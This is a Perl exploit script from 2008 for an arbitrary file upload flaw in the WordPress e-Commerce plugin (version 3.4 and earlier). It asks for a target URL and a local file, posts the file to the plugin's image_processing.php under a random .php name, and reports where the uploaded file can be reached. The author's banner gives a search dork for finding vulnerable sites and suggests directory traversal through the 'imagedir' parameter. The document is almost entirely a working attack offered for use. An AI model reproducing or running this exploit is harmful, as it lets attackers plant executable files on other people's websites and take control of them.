wpecomm-upload.txt
Posted on 29 October 2008
#!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand(99999) . ".php"; # no int() print <<INTRO; # messy print i know.. - Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload - Discovered && Coded by: t0pP8uZz Discovered on: 20 October 2008 Theres no current vulnerabilitys for this plugin, but the vulnerability explained here no longer exists in the later versions of the plugin, due to a code rewrite. In testing this vulnerability, i wrote a scraping content program, and found ALOT of vulnerable sites. This exploit will upload a selected file to the... ... /wp-content/plugins/wp-shopping-cart/ directory. If the directory is not writable (rare cases) you can mod this exploit and use the insecure GET variable "imagedir" to directory traversal.. so you can upload in diffrent directorys. Contact: irc.rizon.net #sectalk Dork: inurl:"/wp-content/plugins/wp-shopping-cart/" INTRO print " Enter URL(ie: http://site.com/mambo): "; chomp(my $url=<STDIN>); print " Enter File Path(path to local file to upload): "; chomp(my $file=<STDIN>); my $ua = LWP::UserAgent->new; my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php', Content_Type => 'form-data', Content => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] ); die "Exploit Failed: HTTP POST Failed!" unless $re->is_success; if($re->content =~ /Fatal error/i) { print "Complete! To see if exploit was successfull visit the following URL for your uploaded file. "; print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . " "; } else { print "Exploit Failed! Target host not vulnerable! "; } exit;
